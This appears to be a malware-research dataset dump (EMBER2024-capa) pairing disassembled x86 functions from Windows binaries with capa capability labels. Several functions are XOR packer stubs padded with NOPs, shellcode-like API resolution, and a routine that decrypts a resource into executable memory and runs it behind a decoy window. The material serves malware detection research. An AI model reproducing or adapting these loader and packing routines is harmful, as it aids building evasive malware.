joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x5381319a
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0x5fcc54f6
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x2bc960ba
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x238a7738
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e072
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x1728176e
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e060
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
mov esi, 0x71d34f67
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e0c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x3202be6a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x3202be79
pop dword [ebp - 0x2c]
mov eax, 0x3202be79
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xc8d9be88
sub dword [ebp - 0x3c], 0x7a87793d
mov dword [ebp - 0x38], 0xa151b5db
sub dword [ebp - 0x38], 0x6f1e6996
mov dword [ebp - 0x34], 0x8bae4a68
add dword [ebp - 0x34], 0xc09df9c6
mov dword [ebp - 0x30], 0x2d438cfe
sub dword [ebp - 0x30], 0x2d438cfe
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xb37aa439
add eax, 0x7e8aac47
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x91bc943c
add dword [ebp - 0x3c], 0xe2b5d51a
mov dword [ebp - 0x38], 0x89211396
add dword [ebp - 0x38], 0xb84b4ddf
mov dword [ebp - 0x34], 0xae1b352c
add dword [ebp - 0x34], 0xb5543740
mov dword [ebp - 0x30], 0xcca03f0b
add dword [ebp - 0x30], 0x335fc0f5
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x5b1e2813
sub eax, 0x2918d79b
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x4b829
push 0
call eax
mov ecx, 0x65f50ff5
sub ecx, 0x65f4b7d1
xor edi, edi
add edi, eax
mov esi, 0x37448a15
add esi, 0xfac34beb
add esi, dword [ebp - 0x2c]
mov ebx, 0x4c415fbc
add ebx, 0x7a7fdb79
mov dword [ebp - 0x18], 0xae72775f
mov edx, dword [esi]
xor dword [ebp - 0x20], 0x3bc6ee9e
add edx, ebx
mov dword [ebp - 0x14], 0xb12e2112
mov dword [edi], edx
xor dword [ebp - 0x1c], eax
add edi, 0x30d2246a
add edi, 0xcf2ddb9a
add esi, 0x5878144e
add esi, 0xa787ebb6
loop 0x3202bf98
add eax, 0x15363
mov ebx, eax
add eax, 5
mov ecx, 0x32000000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x401840
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor ebx, ebx
push edi
push ebx
call esi
push str.VirtualAlloc
push str.Kernel32.dll
mov edi, eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xa
push 0x328
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x40188b
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push edi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x401880
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0x40
push 0x1000
push esi
push 0
mov dword [ebp - 4], eax
call dword [ebp - 8]
mov edi, eax
mov dword [ebp - 8], edi
test edi, edi
je 0x401880
push esi
push dword [ebp - 4]
push edi
call fcn.00402a40
push 0x2faf080
call fcn.0040255c
add esp, 0x10
mov dword [ebp - 4], eax
test eax, eax
je 0x401880
push 0x2faf080
push 0xff
push eax
call fcn.00403090
add esp, 0xc
xor ecx, ecx
test esi, esi
je 0x401921
mov edi, edi
mov al, byte [edi + ecx]
ror al, 3
xor al, byte [ebx + str.ayqrkrxkzcsbg]
mov byte [edi + ecx], al
lea eax, [ebx + 1]
mov ebx, 0xd
cdq
idiv ebx
inc ecx
mov ebx, edx
cmp ecx, esi
jb 0x401900
mov eax, dword [ebp - 8]
call eax
push dword [ebp - 4]
call fcn.00402524
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x54]
add esp, 4
mov dword [ebp - 0x30], 0
xorps xmm0, xmm0
mov dword [ebp - 0x54], 0
movdqu xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x50], 0x4011b0
push eax
movdqu xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x30], str.BasicFileExplorer
call dword [sym.imp.USER32.dll_RegisterClassW]
test ax, ax
je 0x401880
push 0
push edi
mov ebx, dword [sym.imp.USER32.dll_CreateWindowExW]
push 0
push 0
push 0x1e0
push 0x280
push 0x80000000
push 0x80000000
push 0xcf0000
push str.File_Explorer
push dword [ebp - 0x30]
push 0
call ebx
mov esi, eax
test esi, esi
je 0x401880
push dword [ebp + 0x14]
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], 1
push eax
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
push 0
push edi
push 0
push esi
push 0x1e0
push 0x280
push 0
push 0
push 0x50000001
push 0x40e3b0
push str.SysListView32
push 0
call ebx
mov esi, eax
push esi
call fcn.00401060
push 0xa
push esi
call fcn.00401100
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [ebp - 0x2c]
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x401a4c
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
lea ebx, [ebx]
lea eax, [ebp - 0x2c]
push eax
call edi
lea eax, [ebp - 0x2c]
push eax
call ebx
push 0
push 0
push 0
lea eax, [ebp - 0x2c]
push eax
call esi
test eax, eax
jne 0x401a30
mov eax, dword [ebp - 0x24]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4088c1
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4152f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004070eb
mov dword [ebp - 0x14], eax
cmp dword [0x417208], esi
jne 0x4089b4
push 0x800
push esi
push 0x412270
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x408941
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x408a94
push esi
push esi
push 0x412270
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x408a94
push 0x412288
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x408a94
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x417208], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x41720c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x417210], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x417218], eax
test eax, eax
je 0x4089b1
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x417214], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4089d9
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4089cc
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x4089ee
push 4
pop eax
jmp 0x408a96
cmp dword [ebp - 0x14], esi
je 0x4089ee
push dword [0x417208]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4089d3
mov eax, dword [0x417214]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x408a4c
cmp dword [0x417218], edi
je 0x408a4c
push eax
call ebx
push dword [0x417218]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x408a4c
test eax, eax
je 0x408a4c
call ecx
test eax, eax
je 0x408a41
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x408a41
test byte [ebp - 8], 1
jne 0x408a4c
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x408a7c
mov eax, dword [0x41720c]
cmp eax, edi
je 0x408a79
push eax
call ebx
test eax, eax
je 0x408a79
call eax
mov esi, eax
test esi, esi
je 0x408a79
mov eax, dword [0x417210]
cmp eax, edi
je 0x408a79
push eax
call ebx
test eax, eax
je 0x408a79
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x417208]
call ebx
test eax, eax
je 0x408a94
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x408a96
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403528
mov esp, ebp
pop ebp
ret
Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x5a814f01
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
mov ecx, 0x2048197b
nop
nop
nop
nop
nop
test eax, eax
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x4017ae
Capabilities:
Access peb ldr_data

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x423b22
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
mov eax, dword [0x42f060]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
push dword [ebp + 0x10]
lea ecx, [esp + 0x10]
call fcn.00402112
and dword [esp + 0x30], 0
lea eax, [esp + 0xc]
push eax
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call fcn.0040174d
push 0
push 1
lea ecx, [esp + 0x14]
call fcn.00402625
mov dword [esi], vtable.std::system_error.0
mov eax, esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x402008
Capabilities:
Create directory

Disassembly:
push 0x84
mov eax, 0x423be1
call fcn.00420dd9
mov esi, ecx
xor edi, edi
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x30], edi
call fcn.00401fae
push eax
lea ecx, [ebp - 0x48]
mov dword [ebp - 4], edi
call fcn.0040604e
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2c]
mov edx, eax
mov dword [esp], 0x42b984
call fcn.0040601a
pop ecx
push edi
push 1
lea ecx, [ebp - 0x48]
call fcn.00402625
push edi
push 1
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 4
call fcn.00402625
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
push edi
cmovae eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40208d
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x90]
call fcn.004020ed
xor ebx, ebx
inc ebx
jmp 0x40209d
push 0x42b7dd
lea ecx, [ebp - 0x60]
call fcn.00402112
push 2
pop ebx
push eax
mov ecx, esi
call fcn.00402141
or ebx, 4
test bl, 2
je 0x4020bb
push edi
push 1
lea ecx, [ebp - 0x60]
and ebx, 0xfffffffd
call fcn.00402625
test bl, 1
je 0x4020ce
push edi
push 1
lea ecx, [ebp - 0x90]
call fcn.00402625
push edi
push 1
lea ecx, [ebp - 0x2c]
call fcn.00402625
mov eax, esi
call fcn.00420d88
ret
Function at 0x4069f0
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42f060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [esi + 0x10]
lea eax, [edi + 2]
push eax
call fcn.004074b4
add esp, 4
mov ebx, eax
cmp dword [esi + 0x14], 0x10
jb 0x406a1e
mov esi, dword [esi]
push esi
lea eax, [edi + 1]
push eax
push ebx
call fcn.00407c9d
mov word [ebx + edi], 0
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x20], xmm0
add esp, 0xc
mov eax, 0x614
movq qword [ebp - 0x10], xmm0
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0
push eax
mov word [ebp - 8], 0
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x12], 0
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
push ebx
mov esi, eax
call fcn.0040790b
mov ecx, dword [ebp - 4]
add esp, 4
xor eax, eax
test esi, esi
sete al
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00406b41
mov esp, ebp
pop ebp
ret

Function at 0x406aa0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x42f060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x42ba4c
push 0x3507
push 0
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
xor ecx, ecx
test esi, esi
je 0x406b02
lea esp, [esp]
movzx edx, byte [ecx + edi]
mov dl, byte [edx + 0x4305c0]
mov byte [ecx + edi], dl
inc ecx
cmp ecx, esi
jb 0x406af0
cmp dword [ebx + 0x14], 0x10
jb 0x406b0a
mov ebx, dword [ebx]
push 0x42ba50
lea eax, [ebp - 8]
push ebx
push eax
call fcn.00407db6
push dword [ebp - 8]
push 1
push esi
push edi
call fcn.00407f54
push dword [ebp - 8]
call fcn.00408042
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00406b41
mov esp, ebp
pop ebp
ret
Function at 0x41644c
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42f060]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040d810
mov dword [ebp - 0x14], eax
cmp dword [0x4319b0], esi
jne 0x41653f
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4164cc
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41661f
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x41661f
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41661f
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4319b0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4319b4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4319b8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4319c0], eax
test eax, eax
je 0x41653c
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4319bc], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x416564
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x416557
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x416579
push 4
pop eax
jmp 0x416621
cmp dword [ebp - 0x14], esi
je 0x416579
push dword [0x4319b0]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41655e
mov eax, dword [0x4319bc]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4165d7
cmp dword [0x4319c0], edi
je 0x4165d7
push eax
call ebx
push dword [0x4319c0]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4165d7
test eax, eax
je 0x4165d7
call ecx
test eax, eax
je 0x4165cc
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4165cc
test byte [ebp - 8], 1
jne 0x4165d7
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x416607
mov eax, dword [0x4319b4]
cmp eax, edi
je 0x416604
push eax
call ebx
test eax, eax
je 0x416604
call eax
mov esi, eax
test esi, esi
je 0x416604
mov eax, dword [0x4319b8]
cmp eax, edi
je 0x416604
push eax
call ebx
test eax, eax
je 0x416604
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4319b0]
call ebx
test eax, eax
je 0x41661f
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x416621
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406b41
mov esp, ebp
pop ebp
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403e6a
nop
nop
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219